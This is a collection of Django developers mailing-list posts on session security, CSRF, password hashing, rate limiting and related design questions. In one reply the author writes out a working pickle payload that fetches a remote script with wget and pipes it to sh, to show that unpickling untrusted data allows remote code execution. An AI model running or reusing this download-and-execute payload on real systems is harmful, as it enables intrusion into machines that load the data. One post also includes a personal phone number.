malicious pickle by passing arbitrary data into the pickle function.
It's only possible if the data can be modified after it has been
pickled, which the signing explicitly prevents.
> Forgetaboutit, the exact same problem is there for every session backend. 
> This btw means that having write access to django_session table means exploit 
> of all Django instances using that DB, right?

No, the same problem is not there for every session backend. The ones
which are written to disk are signed in the same fashion. It is
assumed that if an attacker has raw write access to your database, you
have much bigger problems (especially since many databases directly
allow system-level code execution in some form or another). I've
looked at that code extensively, it's fine.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Removing pickle from cookie-based session storage

[Paul McMillan]

> You may be right about users screwing things up once in a while but
> that's entirely unrelated to the fact that the sessions app expects
> every backend to handle any (read: pickle-able) data you hand it. At
> least that's the status quo on how every session backend I've seen
> works.

Yeah. Dropping pickle would be a pretty major departure from the way
the other session backends work. This backend already has several
other properties that make it uniquely different:
- ~4k character limit
- limited enforcement of session destruction
- transparency of session contents
I wasn't sure if changing the "pickleable" feature might be an
acceptable tradeoff.

> So, long story short, I don't think you made a convincing argument
> to me in proposing to ship a non-conforming session backend. Hence
> I propose to instead promote the section about SECRET_KEY in the
> session docs to a "big fat warning" and let the users decide how and
> when they use it.

That would be a good option.

I need to apologize (particularly to Jannis who worked really hard to
get this feature into core) that my original message sounded like
nobody thought about this before they implemented it. It was discussed
(and documented as part of the signing code).

My primary concern here is the expanded reliance on SECRET_KEY for
security. As a general principle, the less we rely on it directly for
our security, the better. We currently use SECRET_KEY on a limited
basis internally:
- salt for random token generation
- signing messages and sessions stored on disk
- signing intermediate data in formtools
- the signing framework (not used much internally yet) and salted_hmac
- these cookies (which use the signing framework)

As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Session cookies set to HttpOnly in 1.4

[Paul McMillan]

I recently opened #16847, which proposes to set the HttpOnly property
to True on session cookies by default in 1.4. I'm pretty sure this is
the right approach, but I'd like a bit more feedback from the dev list
here before I go ahead and do it. Are people running applications that
would be broken by this change?

-Paul

https://code.djangoproject.com/ticket/16847

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Removing pickle from cookie-based session storage

[Paul McMillan]

> JSON backend didn't allow serialization of  arbitrary data, as such it was
> different to all the other backends which do allow it -- which means this
> backend isn't a dropin replacement.

Yeah, I agree. The cookie-based backend is already a bit "special", since it
is functionally limited to around 4k.

> P.S.: Btw, if you leak your secret key, you can get an admin user with a
> json backend too, while not being remote code execution it's still
something
> I would consider as catastrophic as code execution in most of my projects.

No. It's far less catastrophic. It just means I'm a Django admin and can
trash that project (which you can then restore from the backups). I can't
own all your other Django projects on the same machine, steal your deploy
keys, root your server, and then configure it to attack your dev machine
when you SSH into it to see why weird things are happening. Remote code
execution is BAD.

> Oh and I know I am moving to thin ice now, but I'd still like to know: To
my
> understanding pickle doesn't necessarily allow arbitrary code execution, I

> like to understand how such an attack would look like -- so I would
> appreciate if you could give a more or less concrete example

I should not have skipped that demo during my Djangocon talk. Since you
asked nicely... try this:

data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
import pickle; pickle.loads(data)

And then open a new bash window.

Obviously that payload could be a whole lot more malicious. A rootkit and a
reverse shell would be traditional. As I said in the talk, pickle == eval.
Don't use pickle where you wouldn't use eval.

You can look at how the pickle works by running:
import pickletools; print pickletools.dis(data)

Hopefully that example was more or less concrete enough for you. ;)

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Removing pickle from cookie-based session storage

[Paul McMillan]

We do actually already have compression in the code for JSON[1].
Unfortunately, we probably can't enable it by default since it has a
dependency on zlib. Looking at the code, it appears that we don't
compress the pickled cookie, which means that compressed JSON might
actually be more space efficient than our current implementation
(which could be compressed, but is not).

The other downside to JSON is that you can't serialize native Python
objects into a session, but you probably shouldn't be doing that
anyway.

-Paul

[1] 
https://code.djangoproject.com/browser/django/trunk/django/core/signing.py#L102

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha

[Paul McMillan]

My sense is that you're conflating 2 kinds of protection here because
you haven't made a decision. Do you want to propose rate limiting, or
a captcha? Answers to your points depend on that.

Prior to more specific work on this matter (and before anything can be
included in core), we need to address the issues in 16860. The generic
groundwork must be done first. It would be helpful to examine this
proposal in light of those concerns. What hooks does Django need to
provide to allow this to be implemented cleanly as a third-party
installable?

This needs to be pluggable because (no matter what we include), it
won't meet the requirements for a sizable subset of Django's users
(many of whom have very explicit requirements).

> Points 1-3
Our protection should be on by default if we include it in Django at
all. This means that the default configuration will be universal
enough that it doesn't get in the way for most installations.

> 4. After x failed login attempts, protection kicks in. x is a
> configurable amount of times, which by default is 3?

3 is too few for a default on a general user-facing site. Brute force
attempts try hundreds of passwords. If normal users see this
protection with any regularity, people will turn it off.

> 5. Failed logins are either stored in a database (which works well for
> small systems and protects against slow distributed attacks), or in
> memory (for large systems). Default: use the database? Because most
> users operate on small systems?

Probably the database. An extra column on users would be the most
obvious place, but it's a no-go because we don't have migrations and
this functionality should be separately pluggable anyway. We would
need to ship with a default set to off in the base settings file, and
explicitly set it on for new projects. If it adds database columns,
that might be an argument for shipping with it disabled.

> 6. We protect against the following scenarios:
>    a. Login attempts coming from many IP-addresses and targeting a
> single user account;
>    b. From a single IP-address, targeting a single user;
>    c. Single IP-address, more than one user.
>    Case 6a and - in a lesser extent - 6b are strong indicators for a
> brute force attack. Case 6c might be brute force, but might also be
> triggered by many users behind a proxy.

These are all attack vectors. There's also multiple IP multiple
account slow brute force, and many other variations. Any of these
options is going to need to be quite configurable to work for most
Django users.

> 7. Protection may consist of:
>    a. denying access for x minutes for a given user or IP-address. x
> is configurable, and by default: 5 minutes?
Rate limiting is more user friendly than a hard cutoff like this. The
hard cutoff is easier to explain to a user, though. This allows a DoS
attack against specific users.

>    b. adding a sleeptime to login requests (mentioned several times,
> but sounds very weak to me, because it can be easily passed by opening
> a new connection?).
Absolutely no. Adding sleep() anywhere in Django opens nasty DoS
avenues. Sleep ties up workers for no reason.

>    c. logging it, and/or notifying the admin
>    d. adding a captcha to login form
Which captcha do you propose? Is there a good one which does not add
external dependencies? We can't require compiled dependencies like PIL
out of the box.

> 8. Protection should be configurable as well. By default: use a
> captcha? Using a captcha prevents an attacker from using the denial
> trigger for a DoS-attack.
Captchas do that. They also introduce usability issues. Do you have a
pure-python captcha which is also ADA compliant? How do you recommend
we balance the difficulty (for both humans and robots) of the captcha?

> 9. Rate limitors should be generably applicable, to all views.
Yes. This is why they are probably best viewed as a separate feature.

> 10. Final question:
> Should this be in Django contrib? I argue in favor, in order to
> protect the innocent and keep everyone safe.
I agree that Django should ship some form of login protection.

>  django.contrib.security
> seems a proper place to me.
For rate limiting or captcha? The former might belong in
core.ratelimit. The captcha is probably a pluggable related to
contrib.auth.

> There are several rate-limiting
> implementations in the wild, but unfortunately they are not often
> used. For example, compare the numbers on django-packages for django-
> axes, brutebuster and ratelimitcache against a commonly used
> application like south or django-debug-toolbar.

Yep. This is why we do need to ship something with Django. But we need
to be sure that we ship a careful, complete implementation, because
once we make a decision about the interface, we have to support it for
a long time. This is why many parts of contrib started as external
projects and stayed that way until there were clear winners.

If we can build the hooks that make it easy to build this kind of
functionality, we can 

Re: deprecation vs removal

[Paul McMillan]

> what is not cause they have separate deprecation policies. It also
> encourages me to slack at upgrading and use something deprecated for a
> while longer.

Yes, but in the meantime you're using the newer, better supported, and
often more-secure code. It allows you the luxury of taking the time,
and encourages you to upgrade even if you don't have time to make
application changes. This stability is an important promise for many
of our users.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Removing pickle from cookie-based session storage

[Paul McMillan]

We recently committed changes to 1.4 that added signed cookie based
session storage. Session data is pickled, signed, and sent to the
client as a cookie. On receipt of the cookie, we check the signature,
unpickle, and use the data. We could use JSON instead of pickle, at
the expense of longer cookies.

I believe that our signing implementation is secure and correct.

However, I know that users of Django screw up from time to time. It's
not uncommon to see SECRET_KEY in a git repository, and that value is
often used in production. If SECRET_KEY is compromised, an attacker
can sign arbitrary cookie data. The use of pickle changes an attack
from "screw up the data in this application" to "arbitrary remote code
execution".

In light of this, we should be conservative and use JSON by
default instead of pickle.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: deprecation vs removal

[Paul McMillan]

I agree with your analysis of the word, but also agree that the
terminology is likely to confuse people for a while.
PendingDeprecation is a rather unfortunate construction. If we can
pull through the phase where people are confused, our terminology will
be more precise for the change. +1 from me.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha

[Paul McMillan]

(to complete my thought from the previous prematurely sent email)

The bigger problem is that ANY rate-limiting framework is going to
need heavy customization to work for all of the different ways Django
is deployed. One size will definitely not fit all in this case.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha

[Paul McMillan]

Since you mention passwords specifically, I think this conversation is
related to #16860. Throttling of passwords / adding captchas
definitely falls under that ticket.

https://code.djangoproject.com/ticket/16860

We probably should include a more general rate limiting framework (or
at the very least, better instructions for configuring this in common
webservers). Unfortunately, how to do this well is a REALLY hard
problem. There's django-axes as well as Simon Willison's
ratelimitcache. Neither of them are perfectly ideal. The bigger
problem is that ANY rate-limiting framework is going to need

At the moment, if your login field is not rate-limited, that is a
configuration mistake which is between you and your webserver, and is
not within the realm of what Django tries to do. We need to be careful
not to re-implement functionality that is better left to other parts
of the stack.

-Paul


On Thu, Sep 29, 2011 at 4:05 PM, Wim Feijen  wrote:
> Thanks guys for the support.
>
> For reference, there is a previous thread "Brute force attacks", here:
> http://groups.google.com/group/django-developers/browse_thread/thread/71877ef02fb7c054/0b44e048b5bf4b77
>
> Which does not mention captcha's btw.
>
> Luke, I'll think about it, but it will take some time; thanks for the
> guidance.
>
> Wim
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: We're a group of students at UC Berkeley looking to contribute to Django

[Paul McMillan]

Hi Jamin,

I'm Paul, one of the core devs for Django. I'm curious which class
you're enrolled in and what your requirements are. I'm always excited
to see new people looking to get involved in the project, and I happen
to be VERY local. If you wanted to meet up some evening in one of the
libraries or a coffee shop, I'd be very happy to help you guys get
started (and I can help you find some non-trivial ways to dive into
the codebase and make real contributions even without being familiar
with the whole codebase).

Drop me an email (and feel free to CC whoever else you're working
with), or send me a text - 510 717 1471.

-Paul

On Mon, Sep 26, 2011 at 8:10 PM, jaminw  wrote:
> Hi all,
> We're a a group of students at UC Berkeley taking an open source class and
> we've decided to contribute to Django.
> We looked at the bug tracker but it seems a little disorganized and some of
> the easier bug reports are kinda trivial.
> Is there any suggestions on how do we start?
> Thanks!
>
> --
> You received this message because you are subscribed to the Google Groups
> "Django developers" group.
> To view this discussion on the web visit
> https://groups.google.com/d/msg/django-developers/-/p2sX1LUo6K0J.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: We're a group of students at UC Berkeley looking to contribute to Django

[Paul McMillan]

Alec,

I'm glad you're excited about this issue, but let's keep discussion of
the installation issue on the other thread (and/or the ticket
tracker). It would be best if we didn't go tasking new volunteers with
big projects the community hasn't agreed on.

The ticket tracker, and the issues there, and the contributing guides,
are a great place for these folks to start.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: gunicorn in docs

[Paul McMillan]

If you write a good and comprehensive set of instructions for making
django work with gunicorn, and are willing to keep them up to date, I
see no reason we shouldn't include them. It's what I use, and has the
advantage of being very, very easy to get working.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Revisiting proxied SSL headers

[Paul McMillan]

About a year ago Luke Plant wontfixed ticket #14597, which requested
that Django add support setting for request.is_secure based on
proxy-added headers (like X-Forwarded-Protocol) when Django is served
by an HTTPS proxy [1].

Luke's reasons for closing were analogous to the
SetRemoteAddrFromForwardedFor header [2], which Django removed because
it was unreliable, really easy to get wrong, and a security issue when
configured incorrectly.

More recently, we changed the way we support the X-Forwarded-Host
header for security reasons [3]. Support defaults to disabled, and
users who need it can turn it back on.

I bring these two examples up, because they are conflicting examples
of how we might handle the SSL header issue. One complicating factor
for the ssl header is that there are many (4 or so) ways of specifying
the same meaning (that the proxy received the request on a secure
connection).

CarlJM's django-secure package [4] solves this problem by requiring
the user to specify which header they want, if they need support for
this.

Luke's concerns about the security of this setting are extremely well
founded. Enabling it when it is not needed is a very serious security
problem, and negates many of the benefits of using SSL. In contrast,
since Django doesn't support this configuration out of the box, we
have users who are losing other benefits that SSL could provide when
Django assumes all requests are insecure. The most striking example of
this is our CSRF protection, where we enforce much more rigorous
requirements on secured connections.

In light of our handling of X-Forwarded-Host (which has known security
issues), I propose that we reconsider support for X-Forwarded-Protocol
(and relatives). The setting should require the user to find out which
header their server is using, and configure it appropriately. This is
enough of a barrier to entry that users won't simply set it to "on"
without thinking. Additionally, if the conversation about including a
django-secure style configuration check command comes to fruition, it
gives us a chance to warn users again about the dangers of needlessly
enabling the setting.

-Paul

[1] https://code.djangoproject.com/ticket/14597
[2] 
https://docs.djangoproject.com/en/dev/releases/1.1/#removed-setremoteaddrfromforwardedfor-middleware
[3] https://www.djangoproject.com/weblog/2011/sep/09/security-releases-issued/
[4] https://github.com/carljm/django-secure

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: confusing things in Trac UI (was: Design decision for #1625...)

[Paul McMillan]

> I'd be in favor of just removing that "accept" radio button if it isn't
> hard to do; doesn't do anything you can't do with the "reassign" option,
> just gets confused with the triage state.

This is a good idea. I made the same mistakes as a new contributor.
>
>> I can't own it since I'm not a core committer.

Unless this has changed very recently, this isn't the case. I've
definitely owned tickets long before I got into core.

> The "new" vs "assigned" in big letters up top is another thing in our
> Trac UI that I think is at best useless, at worst confusing.

Yes! Let's get rid of that. It still confuses me now even when I know
exactly what it means!

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CSRF protection and cookies

[Paul McMillan]

> I had forgot about the Referer header check. It seems that it
> would stop the subdomain-to-subdomain CSRF attacks as long as
> the site is only using HTTPS,  wouldn't it?

Yep. I think the balance there makes sense. It would be nice to figure
out a good way to do optional checking for non-HTTPS, but really,
everyone should be using HTTPS.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CSRF protection and cookies

[Paul McMillan]

> The applications I have in mind (where the "subdomain can set cookies
> for other subdomains" could hurt) use django.contrib.auth and thus
> sessions as well. Thus, they already have to do a session lookup for the
> auth check, haven't they? Could that be reused for the CSRF check?

Yes. Unfortunately, the cookie model (and thus your browser) are not
really designed to protect you in this situation. We work around it as
best we can, but it's an uphill struggle.

Yes, it's very possible to tie CSRF to sessions, and the new signing
bits make that even better. Django doesn't currently support this
feature out of the box, and is unlikely to do so in 1.4. I've put some
thought into the design for this, but it's not something I want to
rush into, and it's not something that is easy to just tell someone
else how to do and let them go implement it. I don't have the time to
really turn this into a solid feature before we freeze 1.4.

In the meantime, if you use SSL on each of your subdomains, you get
strict checking of the Referer header for CSRF, which mitigates that
particular avenue of attack. Since you're using sessions and auth, you
should be using SSL, and so the protection is mostly free.

> Just so I am not missing a class of attacks here: how important is CSRF
> protection for non-session applications? I have always viewed CSRF
> chiefly as an attack where you try to fool somebody who is authenticated
> (and therefore has privileges in the system) to ask the system to
> do a bad thing by doing the cross-site POST.

Those are the worst sorts of CSRF. CSRF protection also helps prevent
spamming, and can discourage reflected DoS attacks. Additionally, CSRF
protection can help mitigate the effects of XSS in some cases.

> If you would like help with testing etc for this, I hope I can offer
> some time.

Thanks, I'll take you up on that when I do get a chance to start
drafting things.

I went ahead and created #16859 to help keep track of these issues.
https://code.djangoproject.com/ticket/16859

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CSRF protection and cookies

[Paul McMillan]

> Would it not be possible to move the second instance of the nonce (that
> will be compared to the form field) from a cookie to a session variable
> (at least when a session is available)?  Would that result in other
> problems instead?

Yes it's possible, and that's how our CSRF protection worked at first.
However, it has the disadvantage of being tied to sessions, and so our
last revision of the framework specifically decoupled the two.

One reason you may not want it tied to sessions is if you have a
public comment form on an unencrypted page, but also want to have
SESSION_COOKIE_SECURE, so sessions are never sent unencrypted. Another
is that the extra session lookup for every form submitted may be a
performance problem, depending on how you store your sessions and what
your traffic profile looks like. Another reason is that you may not be
using the sessions framework at all, and still want forms with CSRF
protection.

Improving the CSRF in this fashion is on my list of things to do, but
it's a bit of a tricky problem, and so it hasn't happened yet. We can
do better than we do now, but not without somewhat changing the
properties of the system.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Should user passwords be more strict?

[Paul McMillan]

I'm happy you're concerned about this, but suggest you search the
archives for similar material so that new threads can contribute new
content.

This search is probably a fantastic starting point for your reading pleasure:
http://groups.google.com/group/django-developers/search?group=django-developers=password+policy_g=Search+this+group

Regards,
-Paul

On Tue, Sep 13, 2011 at 3:52 PM, Wim Feijen  wrote:
> Having just finished a discussion on security, I'd like to raise a
> concern of mine.
>
> By default, users can have a one-character password.
>
> When their accounts get hacked, we suffer the consequences as well.
>
> Should we be more strict in that?
>
> Wim
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Improved password hashing for 1.4

[Paul McMillan]

> Having recently written a Python implementation of PBKDF2 myself, I'd
> just like to quietly point out that it is not a hashing algorithm. It
> is a Key Derivation Function. That is, it's a way of generating key
> material for crypto functions, from a password source.

Yes, you're absolutely right. My choice of words was incorrect. Is
your python implementation licensed in such a way that we could
consider including it in Django? We've looked at a couple
implementations now, having another option would be helpful.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Improved password hashing for 1.4

[Paul McMillan]

In conjunction with Justine Tunney, Isaac Kelly and Russell KM, I'd
like to introduce our plan of attack for including significantly
better password hashing in Django 1.4. One of the key goals with this
push is to include just enough functionality that we can improve this
particular aspect of Django. There's a lot of other great work that
could happen as part of a more general contrib.auth overhaul, but we
want to change as little as possible so we can get a patch out quickly
(in time for the 1.4 feature freeze).

The default password hashing algorithm will be changed to PBKDF2.
We'll include a pure python implementation, but preferably load faster
versions if available at the system level.

Password hashing will happen via pluggable backends that implement the
set_password() and check_password() methods on the current User model.
We're considering trying the generic backend module from armstrong for
this, with the idea that we can move our other adhoc backend
implementations to a unified generic module in the future.

We will include backends that implement all the existing hashing
schemes as well as an optional module for bcrypt that uses a system
library if available. We will work to provide a clean upgrade path for
users of django-bcrypt.

We will be extending the current system that allows users to upgrade
their password algorithms in place. We recognize that sysadmins may
change their mind about which algorithm they prefer (for example, if
PBKDF2 becomes more overhead than they like, or they decide to upgrade
from SHA1). We want people to be confident in trying the new hashing
algorithms, so we will provide a mechanism for choosing a preferred
hashing backend and converting passwords to that backend as they are
used.

We're looking at ways to mitigate the effects of DoS attacks against
the auth module due to the higher CPU usage for these new backends.
Suggestions on this topic are welcome, but will probably be
implemented as part of a separate commit.

I'm really excited that we finally have the momentum to bring this
important change to Django!

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: plea for re-opening ticket 13125 marked as won't fix

[Paul McMillan]

> I'd like to make a case to re-open ticket 13125.

Thanks for taking this to the mailing list rather than arguing in trac.

> I understand that changing the current behaviour is backwards-
> incompatible and therefor very unwanted. But, I'd say the current
> implementation is forward-incompatible: meaning that current and
> future users will stumble on something counter-intuitive and be amazed
> that an inactive user can pass a login_required.

No. Django makes an incredibly strong promise about backwards
compatibility to its users. Security releases are the ONLY reason we
modify behavior in backwards incompatible fashions, and we try very
hard to avoid that.

> For me, the current behaviour is contrary to most peoples expectation,
> and my proposal would be to make the backwards-incompatible change to
> make django more consistent (I might even say: more logical), which I
> think is a good thing.

Yeah, I agree that the current behavior is counter intuitive. It is an
oddity and a wart that exists.

> My proposal is also to add an active_or_inactive_login_required
> decorator (a better name is welcome) which just checks whether a user
> is authenticated; and then people could import that as login_required.

I wouldn't be opposed to an additional decorator which makes better
grammatical sense and does explicitly what you want. We just can't
change the behavior of the current one. If you can come up with two
new ones that make better sense there might be an argument for slowly
deprecating the existing one.

> The consequence is that some people would need to make a change to
> keep their code working in Django 1.4 , but it is my belief that this
> is only a small part of the Django population who have the skills to
> adapt and that it will have a benificial effect to most current and
> all future users.

No. We do not do this. Otherwise every release would end up stuffed
full of dozens of "tiny easy changes" which means nobody would bother
updating.

Regards,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: plea for re-opening ticket 13125 marked as won't fix

[Paul McMillan]

> There are numerous counter arguments to the idea: Unintended
> consequences. There is a possibility for race conditions, which would
> then be security issues. Action at distance. I don't know if this is
> possible to implement for all session backends.

It's impossible to implement for cookie-based session backends. I'd
probably be opposed to a behavior like that which worked with some
backends and not others (though that backend is a weird special case).

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Multiple timezone support for datetime representation

[Paul McMillan]

> I'm going to use the same trick used by USE_L10N and explained by Anssi: set 
> USE_TZ to False in global_settings.py and to True in the template of 
> settings.py. This preserves backwards compatibility but the new code is the 
> default for new projects.

This isn't gonna work because your new code will have a hard dependency on pytz.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Multiple timezone support for datetime representation

[Paul McMillan]

Hi Aymeric,

First, thanks for all your triage work on track, it's very much
appreciated. This is a large proposal, but I think it covers the issue
pretty completely.

I agree with your approach of using UTC internally and converting on output.

My main concern with your proposal is that it may require two
different code paths for a lot of code. I have no objection to the
dependency on pytz, but I don't want this to result in pytz-aware code
that diverges significantly from the non-pytz default path.

I would like this new code to eventually become the default setting,
but acknowledge that there doesn't seem to be a good way to do that
and maintain our current backwards compatibility (and external
dependency) policy.

This isn't my area of expertise, so I'm not a good mentor candidate,
but I'd be excited to help you with this project where I can.

I'm wholeheartedly +1 on this.

Best,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: HttpResponse and non-string content values

[Paul McMillan]

I replied on the ticket, but for the record here as well, the issue of
consuming the iterator multiple times is tracked in #7581. I don't
think that issue needs to be a blocker for this one, since it has
existed for quite some time now.

https://code.djangoproject.com/ticket/7581

-Paul

On Fri, Aug 19, 2011 at 2:24 AM, Anssi Kääriäinen
<anssi.kaariai...@thl.fi> wrote:
> On Aug 19, 1:25 am, Paul McMillan <p...@mcmillan.ws> wrote:
>> I added some test cases and cleaned the code up a bit. I believe sure
>> this solution is backwards compatible (we're adding the string
>> conversion, something that shouldn't have been possible before), but
>> I'd like input from some other people.
>>
>> -Paul
>>
>> [1]https://code.djangoproject.com/ticket/16494
>
> I took a look of the patch. The patch is backwards compatible, but the
> problem is that I don't think the current implementation is correct.
> It consumes the iterator multiple times. See the comments in the
> ticket for details.
>
>  - Anssi
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

HttpResponse and non-string content values

[Paul McMillan]

I wrote a patch for #16494 [1] that could use some a few more eyes.

In short, the issue here is that the existing code for setting the
content of an HTTPResponse behaves inconsistently when given
non-strings. Setting content during __init__ behaves differently for
iterators than setting it later via the content property. If a
non-string, non-iterator is set for content, the code eventually
throws an error during string operations. If content is an iterator,
it is iterated over and (crucially) the content is converted to a
string.

My initial response was to fix the logic error for non-strings and
return an explicit error stating that this function requires a string
for content. However, since the existing iterator code does convert to
a string, the most consistent thing we can do here seems to be
converting everything (including non-iterators) right before output.

I added some test cases and cleaned the code up a bit. I believe sure
this solution is backwards compatible (we're adding the string
conversion, something that shouldn't have been possible before), but
I'd like input from some other people.

-Paul

[1] https://code.djangoproject.com/ticket/16494

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
